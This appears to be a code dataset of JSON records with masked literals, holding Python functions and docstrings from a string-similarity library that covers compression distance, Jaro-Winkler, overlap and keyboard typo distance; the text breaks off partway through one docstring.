{"signature": "def dist_ncd_bwtrle(src, tar):", "body": "return NCDbwtrle().dist(src, tar)<EOL>", "docstring": "Return the NCD between two strings using BWT plus RLE.\n\n    This is a wrapper for :py:meth:`NCDbwtrle.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_bwtrle('cat', 'hat')\n    0.75\n    >>> dist_ncd_bwtrle('Niall', 'Neil')\n    0.8333333333333334\n    >>> dist_ncd_bwtrle('aluminum', 'Catalan')\n    1.0\n    >>> dist_ncd_bwtrle('ATCG', 'TAGC')\n    0.8", "id": "f6645:m0"}
{"signature": "def sim_ncd_bwtrle(src, tar):", "body": "return NCDbwtrle().sim(src, tar)<EOL>", "docstring": "Return the NCD similarity between two strings using BWT plus RLE.\n\n    This is a wrapper for :py:meth:`NCDbwtrle.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_bwtrle('cat', 'hat')\n    0.25\n    >>> sim_ncd_bwtrle('Niall', 'Neil')\n    0.16666666666666663\n    >>> sim_ncd_bwtrle('aluminum', 'Catalan')\n    0.0\n    >>> sim_ncd_bwtrle('ATCG', 'TAGC')\n    0.19999999999999996", "id": "f6645:m1"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>src_comp = self._rle.encode(self._bwt.encode(src))<EOL>tar_comp = self._rle.encode(self._bwt.encode(tar))<EOL>concat_comp = self._rle.encode(self._bwt.encode(src + tar))<EOL>concat_comp2 = self._rle.encode(self._bwt.encode(tar + src))<EOL>return (<EOL>min(len(concat_comp), len(concat_comp2))<EOL>- min(len(src_comp), len(tar_comp))<EOL>) / max(len(src_comp), len(tar_comp))<EOL>", "docstring": "Return the NCD between two strings using BWT plus RLE.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Examples\n        --------\n        >>> cmp = NCDbwtrle()\n        >>> cmp.dist('cat', 'hat')\n        0.75\n        >>> cmp.dist('Niall', 'Neil')\n        0.8333333333333334\n        >>> cmp.dist('aluminum', 'Catalan')\n        1.0\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.8", "id": "f6645:c0:m0"}
{"signature": "def sim_length(src, tar):", "body": "return Length().sim(src, tar)<EOL>", "docstring": "Return the length similarity of two strings.\n\n    This is a wrapper for :py:meth:`Length.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Length similarity\n\n    Examples\n    --------\n    >>> sim_length('cat', 'hat')\n    1.0\n    >>> sim_length('Niall', 'Neil')\n    0.8\n    >>> sim_length('aluminum', 'Catalan')\n    0.875\n    >>> sim_length('ATCG', 'TAGC')\n    1.0", "id": "f6646:m0"}
{"signature": "def dist_length(src, tar):", "body": "return Length().dist(src, tar)<EOL>", "docstring": "Return the length distance between two strings.\n\n    This is a wrapper for :py:meth:`Length.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Length distance\n\n    Examples\n    --------\n    >>> dist_length('cat', 'hat')\n    0.0\n    >>> dist_length('Niall', 'Neil')\n    0.19999999999999996\n    >>> dist_length('aluminum', 'Catalan')\n    0.125\n    >>> dist_length('ATCG', 'TAGC')\n    0.0", "id": "f6646:m1"}
{"signature": "def sim(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return (<EOL>len(src) / len(tar) if len(src) < len(tar) else len(tar) / len(src)<EOL>)<EOL>", "docstring": "Return the length similarity of two strings.\n\n        Length similarity is the ratio of the length of the shorter string to\n        the longer.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Length similarity\n\n        Examples\n        --------\n        >>> cmp = Length()\n        >>> cmp.sim('cat', 'hat')\n        1.0\n        >>> cmp.sim('Niall', 'Neil')\n        0.8\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.875\n        >>> cmp.sim('ATCG', 'TAGC')\n        1.0", "id": "f6646:c0:m0"}
{"signature": "def dist_ncd_bz2(src, tar):", "body": "return NCDbz2().dist(src, tar)<EOL>", "docstring": "Return the NCD between two strings using bzip2 compression.\n\n    This is a wrapper for :py:meth:`NCDbz2.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_bz2('cat', 'hat')\n    0.06666666666666667\n    >>> dist_ncd_bz2('Niall', 'Neil')\n    0.03125\n    >>> dist_ncd_bz2('aluminum', 'Catalan')\n    0.17647058823529413\n    >>> dist_ncd_bz2('ATCG', 'TAGC')\n    0.03125", "id": "f6647:m0"}
{"signature": "def sim_ncd_bz2(src, tar):", "body": "return NCDbz2().sim(src, tar)<EOL>", "docstring": "Return the NCD similarity between two strings using bzip2 compression.\n\n    This is a wrapper for :py:meth:`NCDbz2.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_bz2('cat', 'hat')\n    0.9333333333333333\n    >>> sim_ncd_bz2('Niall', 'Neil')\n    0.96875\n    >>> sim_ncd_bz2('aluminum', 'Catalan')\n    0.8235294117647058\n    >>> sim_ncd_bz2('ATCG', 'TAGC')\n    0.96875", "id": "f6647:m1"}
{"signature": "def __init__(self, level=<NUM_LIT:9>):", "body": "self._level = level<EOL>", "docstring": "Initialize bzip2 compressor.\n\n        Parameters\n        ----------\n        level : int\n            The compression level (0 to 9)", "id": "f6647:c0:m0"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>src = src.encode('<STR_LIT:utf-8>')<EOL>tar = tar.encode('<STR_LIT:utf-8>')<EOL>src_comp = bz2.compress(src, self._level)[<NUM_LIT:10>:]<EOL>tar_comp = bz2.compress(tar, self._level)[<NUM_LIT:10>:]<EOL>concat_comp = bz2.compress(src + tar, self._level)[<NUM_LIT:10>:]<EOL>concat_comp2 = bz2.compress(tar + src, self._level)[<NUM_LIT:10>:]<EOL>return (<EOL>min(len(concat_comp), len(concat_comp2))<EOL>- min(len(src_comp), len(tar_comp))<EOL>) / max(len(src_comp), len(tar_comp))<EOL>", "docstring": "Return the NCD between two strings using bzip2 compression.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Examples\n        --------\n        >>> cmp = NCDbz2()\n        >>> cmp.dist('cat', 'hat')\n        0.06666666666666667\n        >>> cmp.dist('Niall', 'Neil')\n        0.03125\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.17647058823529413\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.03125", "id": "f6647:c0:m1"}
{"signature": "def sim_jaro_winkler(<EOL>src,<EOL>tar,<EOL>qval=<NUM_LIT:1>,<EOL>mode='<STR_LIT>',<EOL>long_strings=False,<EOL>boost_threshold=<NUM_LIT>,<EOL>scaling_factor=<NUM_LIT:0.1>,<EOL>):", "body": "return JaroWinkler().sim(<EOL>src, tar, qval, mode, long_strings, boost_threshold, scaling_factor<EOL>)<EOL>", "docstring": "Return the Jaro or Jaro-Winkler similarity of two strings.\n\n    This is a wrapper for :py:meth:`JaroWinkler.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    qval : int\n        The length of each q-gram (defaults to 1: character-wise matching)\n    mode : str\n        Indicates which variant of this distance metric to compute:\n\n            - ``winkler`` -- computes the Jaro-Winkler distance (default) which\n              increases the score for matches near the start of the word\n            - ``jaro`` -- computes the Jaro distance\n\n    long_strings : bool\n        Set to True to \"Increase the probability of a match when the number of\n        matched characters is large. This option allows for a little more\n        tolerance when the strings are large. It is not an appropriate test\n        when comparing fixedlength fields such as phone and social security\n        numbers.\" (Used in 'winkler' mode only.)\n    boost_threshold : float\n        A value between 0 and 1, below which the Winkler boost is not applied\n        (defaults to 0.7). (Used in 'winkler' mode only.)\n    scaling_factor : float\n        A value between 0 and 0.25, indicating by how much to boost scores for\n        matching prefixes (defaults to 0.1). (Used in 'winkler' mode only.)\n\n    Returns\n    -------\n    float\n        Jaro or Jaro-Winkler similarity\n\n    Examples\n    --------\n    >>> round(sim_jaro_winkler('cat', 'hat'), 12)\n    0.777777777778\n    >>> round(sim_jaro_winkler('Niall', 'Neil'), 12)\n    0.805\n    >>> round(sim_jaro_winkler('aluminum', 'Catalan'), 12)\n    0.60119047619\n    >>> round(sim_jaro_winkler('ATCG', 'TAGC'), 12)\n    0.833333333333\n\n    >>> round(sim_jaro_winkler('cat', 'hat', mode='jaro'), 12)\n    0.777777777778\n    >>> round(sim_jaro_winkler('Niall', 'Neil', mode='jaro'), 12)\n    0.783333333333\n    >>> round(sim_jaro_winkler('aluminum', 'Catalan', mode='jaro'), 12)\n    0.60119047619\n    >>> round(sim_jaro_winkler('ATCG', 'TAGC', mode='jaro'), 12)\n    0.833333333333", "id": "f6648:m0"}
{"signature": "def dist_jaro_winkler(<EOL>src,<EOL>tar,<EOL>qval=<NUM_LIT:1>,<EOL>mode='<STR_LIT>',<EOL>long_strings=False,<EOL>boost_threshold=<NUM_LIT>,<EOL>scaling_factor=<NUM_LIT:0.1>,<EOL>):", "body": "return JaroWinkler().dist(<EOL>src, tar, qval, mode, long_strings, boost_threshold, scaling_factor<EOL>)<EOL>", "docstring": "Return the Jaro or Jaro-Winkler distance between two strings.\n\n    This is a wrapper for :py:meth:`JaroWinkler.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    qval : int\n        The length of each q-gram (defaults to 1: character-wise matching)\n    mode : str\n        Indicates which variant of this distance metric to compute:\n\n            - ``winkler`` -- computes the Jaro-Winkler distance (default) which\n              increases the score for matches near the start of the word\n            - ``jaro`` -- computes the Jaro distance\n\n    long_strings : bool\n        Set to True to \"Increase the probability of a match when the number of\n        matched characters is large. This option allows for a little more\n        tolerance when the strings are large. It is not an appropriate test\n        when comparing fixedlength fields such as phone and social security\n        numbers.\" (Used in 'winkler' mode only.)\n    boost_threshold : float\n        A value between 0 and 1, below which the Winkler boost is not applied\n        (defaults to 0.7). (Used in 'winkler' mode only.)\n    scaling_factor : float\n        A value between 0 and 0.25, indicating by how much to boost scores for\n        matching prefixes (defaults to 0.1). (Used in 'winkler' mode only.)\n\n    Returns\n    -------\n    float\n        Jaro or Jaro-Winkler distance\n\n    Examples\n    --------\n    >>> round(dist_jaro_winkler('cat', 'hat'), 12)\n    0.222222222222\n    >>> round(dist_jaro_winkler('Niall', 'Neil'), 12)\n    0.195\n    >>> round(dist_jaro_winkler('aluminum', 'Catalan'), 12)\n    0.39880952381\n    >>> round(dist_jaro_winkler('ATCG', 'TAGC'), 12)\n    0.166666666667\n\n    >>> round(dist_jaro_winkler('cat', 'hat', mode='jaro'), 12)\n    0.222222222222\n    >>> round(dist_jaro_winkler('Niall', 'Neil', mode='jaro'), 12)\n    0.216666666667\n    >>> round(dist_jaro_winkler('aluminum', 'Catalan', mode='jaro'), 12)\n    0.39880952381\n    >>> round(dist_jaro_winkler('ATCG', 'TAGC', mode='jaro'), 12)\n    0.166666666667", "id": "f6648:m1"}
{"signature": "def sim(<EOL>self,<EOL>src,<EOL>tar,<EOL>qval=<NUM_LIT:1>,<EOL>mode='<STR_LIT>',<EOL>long_strings=False,<EOL>boost_threshold=<NUM_LIT>,<EOL>scaling_factor=<NUM_LIT:0.1>,<EOL>):", "body": "if mode == '<STR_LIT>':<EOL><INDENT>if boost_threshold > <NUM_LIT:1> or boost_threshold < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>if scaling_factor > <NUM_LIT> or scaling_factor < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>src = QGrams(src.strip(), qval)._ordered_list<EOL>tar = QGrams(tar.strip(), qval)._ordered_list<EOL>lens = len(src)<EOL>lent = len(tar)<EOL>if lens == <NUM_LIT:0> or lent == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if lens > lent:<EOL><INDENT>search_range = lens<EOL>minv = lent<EOL><DEDENT>else:<EOL><INDENT>search_range = lent<EOL>minv = lens<EOL><DEDENT>src_flag = [<NUM_LIT:0>] * search_range<EOL>tar_flag = [<NUM_LIT:0>] * search_range<EOL>search_range = max(<NUM_LIT:0>, search_range // <NUM_LIT:2> - <NUM_LIT:1>)<EOL>num_com = <NUM_LIT:0><EOL>yl1 = lent - <NUM_LIT:1><EOL>for i in range(lens):<EOL><INDENT>low_lim = (i - search_range) if (i >= search_range) else <NUM_LIT:0><EOL>hi_lim = (i + search_range) if ((i + search_range) <= yl1) else yl1<EOL>for j in range(low_lim, hi_lim + <NUM_LIT:1>):<EOL><INDENT>if (tar_flag[j] == <NUM_LIT:0>) and (tar[j] == src[i]):<EOL><INDENT>tar_flag[j] = <NUM_LIT:1><EOL>src_flag[i] = <NUM_LIT:1><EOL>num_com += <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT><DEDENT>if num_com == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>k = n_trans = <NUM_LIT:0><EOL>for i in range(lens):<EOL><INDENT>if src_flag[i] != <NUM_LIT:0>:<EOL><INDENT>j = <NUM_LIT:0><EOL>for j in range(k, lent):  <EOL><INDENT>if tar_flag[j] != <NUM_LIT:0>:<EOL><INDENT>k = j + <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>if src[i] != tar[j]:<EOL><INDENT>n_trans += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>n_trans //= <NUM_LIT:2><EOL>weight = (<EOL>num_com / lens + num_com / lent + (num_com - n_trans) / num_com<EOL>)<EOL>weight /= <NUM_LIT><EOL>if mode == '<STR_LIT>' and weight > boost_threshold:<EOL><INDENT>j = <NUM_LIT:4> if (minv >= <NUM_LIT:4>) else minv<EOL>i = <NUM_LIT:0><EOL>while (i < j) and (src[i] == tar[i]):<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>weight += i * scaling_factor * (<NUM_LIT:1.0> - weight)<EOL>if (<EOL>long_strings<EOL>and (minv > <NUM_LIT:4>)<EOL>and (num_com > i + <NUM_LIT:1>)<EOL>and (<NUM_LIT:2> * num_com >= minv + i)<EOL>):<EOL><INDENT>weight += (<NUM_LIT:1.0> - weight) * (<EOL>(num_com - i - <NUM_LIT:1>) / (lens + lent - i * <NUM_LIT:2> + <NUM_LIT:2>)<EOL>)<EOL><DEDENT><DEDENT>return weight<EOL>", "docstring": "Return the Jaro or Jaro-Winkler similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        qval : int\n            The length of each q-gram (defaults to 1: character-wise matching)\n        mode : str\n            Indicates which variant of this distance metric to compute:\n\n                - ``winkler`` -- computes the Jaro-Winkler distance (default)\n                  which increases the score for matches near the start of the\n                  word\n                - ``jaro`` -- computes the Jaro distance\n\n        long_strings : bool\n            Set to True to \"Increase the probability of a match when the number\n            of matched characters is large. This option allows for a little\n            more tolerance when the strings are large. It is not an appropriate\n            test when comparing fixed length fields such as phone and social\n            security numbers.\" (Used in 'winkler' mode only.)\n        boost_threshold : float\n            A value between 0 and 1, below which the Winkler boost is not\n            applied (defaults to 0.7). (Used in 'winkler' mode only.)\n        scaling_factor : float\n            A value between 0 and 0.25, indicating by how much to boost scores\n            for matching prefixes (defaults to 0.1). (Used in 'winkler' mode\n            only.)\n\n        Returns\n        -------\n        float\n            Jaro or Jaro-Winkler similarity\n\n        Raises\n        ------\n        ValueError\n            Unsupported boost_threshold assignment; boost_threshold must be\n            between 0 and 1.\n        ValueError\n            Unsupported scaling_factor assignment; scaling_factor must be\n            between 0 and 0.25.'\n\n        Examples\n        --------\n        >>> round(sim_jaro_winkler('cat', 'hat'), 12)\n        0.777777777778\n        >>> round(sim_jaro_winkler('Niall', 'Neil'), 12)\n        0.805\n        >>> round(sim_jaro_winkler('aluminum', 'Catalan'), 12)\n        0.60119047619\n        >>> round(sim_jaro_winkler('ATCG', 'TAGC'), 12)\n        0.833333333333\n\n        >>> round(sim_jaro_winkler('cat', 'hat', mode='jaro'), 12)\n        0.777777777778\n        >>> round(sim_jaro_winkler('Niall', 'Neil', mode='jaro'), 12)\n        0.783333333333\n        >>> round(sim_jaro_winkler('aluminum', 'Catalan', mode='jaro'), 12)\n        0.60119047619\n        >>> round(sim_jaro_winkler('ATCG', 'TAGC', mode='jaro'), 12)\n        0.833333333333", "id": "f6648:c0:m0"}
{"signature": "def sim_overlap(src, tar, qval=<NUM_LIT:2>):", "body": "return Overlap().sim(src, tar, qval)<EOL>", "docstring": "r\"\"\"Return the overlap coefficient of two strings.\n\n    This is a wrapper for :py:meth:`Overlap.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Overlap similarity\n\n    Examples\n    --------\n    >>> sim_overlap('cat', 'hat')\n    0.5\n    >>> sim_overlap('Niall', 'Neil')\n    0.4\n    >>> sim_overlap('aluminum', 'Catalan')\n    0.125\n    >>> sim_overlap('ATCG', 'TAGC')\n    0.0", "id": "f6649:m0"}
{"signature": "def dist_overlap(src, tar, qval=<NUM_LIT:2>):", "body": "return Overlap().dist(src, tar, qval)<EOL>", "docstring": "Return the overlap distance between two strings.\n\n    This is a wrapper for :py:meth:`Overlap.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Overlap distance\n\n    Examples\n    --------\n    >>> dist_overlap('cat', 'hat')\n    0.5\n    >>> dist_overlap('Niall', 'Neil')\n    0.6\n    >>> dist_overlap('aluminum', 'Catalan')\n    0.875\n    >>> dist_overlap('ATCG', 'TAGC')\n    1.0", "id": "f6649:m1"}
{"signature": "def sim(self, src, tar, qval=<NUM_LIT:2>):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>elif not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>q_src, q_tar = self._get_qgrams(src, tar, qval)<EOL>q_src_mag = sum(q_src.values())<EOL>q_tar_mag = sum(q_tar.values())<EOL>q_intersection_mag = sum((q_src & q_tar).values())<EOL>return q_intersection_mag / min(q_src_mag, q_tar_mag)<EOL>", "docstring": "r\"\"\"Return the overlap coefficient of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n\n        Returns\n        -------\n        float\n            Overlap similarity\n\n        Examples\n        --------\n        >>> cmp = Overlap()\n        >>> cmp.sim('cat', 'hat')\n        0.5\n        >>> cmp.sim('Niall', 'Neil')\n        0.4\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.125\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6649:c0:m0"}
{"signature": "def typo(src, tar, metric='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0.5>), layout='<STR_LIT>'):", "body": "return Typo().dist_abs(src, tar, metric, cost, layout)<EOL>", "docstring": "Return the typo distance between two strings.\n\n    This is a wrapper for :py:meth:`Typo.typo`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    metric : str\n        Supported values include: ``euclidean``, ``manhattan``,\n        ``log-euclidean``, and ``log-manhattan``\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and shift, respectively (by default:\n        (1, 1, 0.5, 0.5)) The substitution & shift costs should be\n        significantly less than the cost of an insertion & deletion unless a\n        log metric is used.\n    layout : str\n        Name of the keyboard layout to use (Currently supported:\n        ``QWERTY``, ``Dvorak``, ``AZERTY``, ``QWERTZ``)\n\n    Returns\n    -------\n    float\n        Typo distance\n\n    Examples\n    --------\n    >>> typo('cat', 'hat')\n    1.5811388\n    >>> typo('Niall', 'Neil')\n    2.8251407\n    >>> typo('Colin', 'Cuilen')\n    3.4142137\n    >>> typo('ATCG', 'TAGC')\n    2.5\n\n    >>> typo('cat', 'hat', metric='manhattan')\n    2.0\n    >>> typo('Niall', 'Neil', metric='manhattan')\n    3.0\n    >>> typo('Colin', 'Cuilen', metric='manhattan')\n    3.5\n    >>> typo('ATCG', 'TAGC', metric='manhattan')\n    2.5\n\n    >>> typo('cat', 'hat', metric='log-manhattan')\n    0.804719\n    >>> typo('Niall', 'Neil', metric='log-manhattan')\n    2.2424533\n    >>> typo('Colin', 'Cuilen', metric='log-manhattan')\n    2.2424533\n    >>> typo('ATCG', 'TAGC', metric='log-manhattan')\n    2.3465736", "id": "f6650:m0"}
{"signature": "def dist_typo(<EOL>src, tar, metric='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0.5>), layout='<STR_LIT>'<EOL>):", "body": "return Typo().dist(src, tar, metric, cost, layout)<EOL>", "docstring": "Return the normalized typo distance between two strings.\n\n    This is a wrapper for :py:meth:`Typo.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    metric : str\n        Supported values include: ``euclidean``, ``manhattan``,\n        ``log-euclidean``, and ``log-manhattan``\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and shift, respectively (by default:\n        (1, 1, 0.5, 0.5)) The substitution & shift costs should be\n        significantly less than the cost of an insertion & deletion unless a\n        log metric is used.\n    layout : str\n        Name of the keyboard layout to use (Currently supported:\n        ``QWERTY``, ``Dvorak``, ``AZERTY``, ``QWERTZ``)\n\n    Returns\n    -------\n    float\n        Normalized typo distance\n\n    Examples\n    --------\n    >>> round(dist_typo('cat', 'hat'), 12)\n    0.527046283086\n    >>> round(dist_typo('Niall', 'Neil'), 12)\n    0.565028142929\n    >>> round(dist_typo('Colin', 'Cuilen'), 12)\n    0.569035609563\n    >>> dist_typo('ATCG', 'TAGC')\n    0.625", "id": "f6650:m1"}
{"signature": "def sim_typo(<EOL>src, tar, metric='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0.5>), layout='<STR_LIT>'<EOL>):", "body": "return Typo().sim(src, tar, metric, cost, layout)<EOL>", "docstring": "Return the normalized typo similarity between two strings.\n\n    This is a wrapper for :py:meth:`Typo.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    metric : str\n        Supported values include: ``euclidean``, ``manhattan``,\n        ``log-euclidean``, and ``log-manhattan``\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and shift, respectively (by default:\n        (1, 1, 0.5, 0.5)) The substitution & shift costs should be\n        significantly less than the cost of an insertion & deletion unless a\n        log metric is used.\n    layout : str\n        Name of the keyboard layout to use (Currently supported:\n        ``QWERTY``, ``Dvorak``, ``AZERTY``, ``QWERTZ``)\n\n    Returns\n    -------\n    float\n        Normalized typo similarity\n\n    Examples\n    --------\n    >>> round(sim_typo('cat', 'hat'), 12)\n    0.472953716914\n    >>> round(sim_typo('Niall', 'Neil'), 12)\n    0.434971857071\n    >>> round(sim_typo('Colin', 'Cuilen'), 12)\n    0.430964390437\n    >>> sim_typo('ATCG', 'TAGC')\n    0.375", "id": "f6650:m2"}
{"signature": "def dist_abs(<EOL>self,<EOL>src,<EOL>tar,<EOL>metric='<STR_LIT>',<EOL>cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0.5>),<EOL>layout='<STR_LIT>',<EOL>):", "body": "ins_cost, del_cost, sub_cost, shift_cost = cost<EOL>if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if not src:<EOL><INDENT>return len(tar) * ins_cost<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src) * del_cost<EOL><DEDENT>keyboard = self._keyboard[layout]<EOL>lowercase = {item for sublist in keyboard[<NUM_LIT:0>] for item in sublist}<EOL>uppercase = {item for sublist in keyboard[<NUM_LIT:1>] for item in sublist}<EOL>def _kb_array_for_char(char):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if char in lowercase:<EOL><INDENT>return keyboard[<NUM_LIT:0>]<EOL><DEDENT>elif char in uppercase:<EOL><INDENT>return keyboard[<NUM_LIT:1>]<EOL><DEDENT>raise ValueError(char + '<STR_LIT>')<EOL><DEDENT>def _substitution_cost(char1, char2):<EOL><INDENT>cost = sub_cost<EOL>cost *= metric_dict[metric](char1, char2) + shift_cost * (<EOL>_kb_array_for_char(char1) != _kb_array_for_char(char2)<EOL>)<EOL>return cost<EOL><DEDENT>def _get_char_coord(char, kb_array):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for row in kb_array:  <EOL><INDENT>if char in row:<EOL><INDENT>return kb_array.index(row), row.index(char)<EOL><DEDENT><DEDENT><DEDENT>def _euclidean_keyboard_distance(char1, char2):<EOL><INDENT>row1, col1 = _get_char_coord(char1, _kb_array_for_char(char1))<EOL>row2, col2 = _get_char_coord(char2, _kb_array_for_char(char2))<EOL>return ((row1 - row2) ** <NUM_LIT:2> + (col1 - col2) ** <NUM_LIT:2>) ** <NUM_LIT:0.5><EOL><DEDENT>def _manhattan_keyboard_distance(char1, char2):<EOL><INDENT>row1, col1 = _get_char_coord(char1, _kb_array_for_char(char1))<EOL>row2, col2 = _get_char_coord(char2, _kb_array_for_char(char2))<EOL>return abs(row1 - row2) + abs(col1 - col2)<EOL><DEDENT>def _log_euclidean_keyboard_distance(char1, char2):<EOL><INDENT>return log(<NUM_LIT:1> + _euclidean_keyboard_distance(char1, char2))<EOL><DEDENT>def _log_manhattan_keyboard_distance(char1, char2):<EOL><INDENT>return log(<NUM_LIT:1> + _manhattan_keyboard_distance(char1, char2))<EOL><DEDENT>metric_dict = {<EOL>'<STR_LIT>': _euclidean_keyboard_distance,<EOL>'<STR_LIT>': _manhattan_keyboard_distance,<EOL>'<STR_LIT>': _log_euclidean_keyboard_distance,<EOL>'<STR_LIT>': _log_manhattan_keyboard_distance,<EOL>}<EOL>d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>for i in range(len(src) + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = i * del_cost<EOL><DEDENT>for j in range(len(tar) + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = j * ins_cost<EOL><DEDENT>for i in range(len(src)):<EOL><INDENT>for j in range(len(tar)):<EOL><INDENT>d_mat[i + <NUM_LIT:1>, j + <NUM_LIT:1>] = min(<EOL>d_mat[i + <NUM_LIT:1>, j] + ins_cost,  <EOL>d_mat[i, j + <NUM_LIT:1>] + del_cost,  <EOL>d_mat[i, j]<EOL>+ (<EOL>_substitution_cost(src[i], tar[j])<EOL>if src[i] != tar[j]<EOL>else <NUM_LIT:0><EOL>),  <EOL>)<EOL><DEDENT><DEDENT>return d_mat[len(src), len(tar)]<EOL>", "docstring": "Return the typo distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        metric : str\n            Supported values include: ``euclidean``, ``manhattan``,\n            ``log-euclidean``, and ``log-manhattan``\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and shift, respectively (by\n            default: (1, 1, 0.5, 0.5)) The substitution & shift costs should be\n            significantly less than the cost of an insertion & deletion unless\n            a log metric is used.\n        layout : str\n            Name of the keyboard layout to use (Currently supported:\n            ``QWERTY``, ``Dvorak``, ``AZERTY``, ``QWERTZ``)\n\n        Returns\n        -------\n        float\n            Typo distance\n\n        Raises\n        ------\n        ValueError\n            char not found in any keyboard layouts\n\n        Examples\n        --------\n        >>> cmp = Typo()\n        >>> cmp.dist_abs('cat', 'hat')\n        1.5811388\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2.8251407\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        3.4142137\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        2.5\n\n        >>> cmp.dist_abs('cat', 'hat', metric='manhattan')\n        2.0\n        >>> cmp.dist_abs('Niall', 'Neil', metric='manhattan')\n        3.0\n        >>> 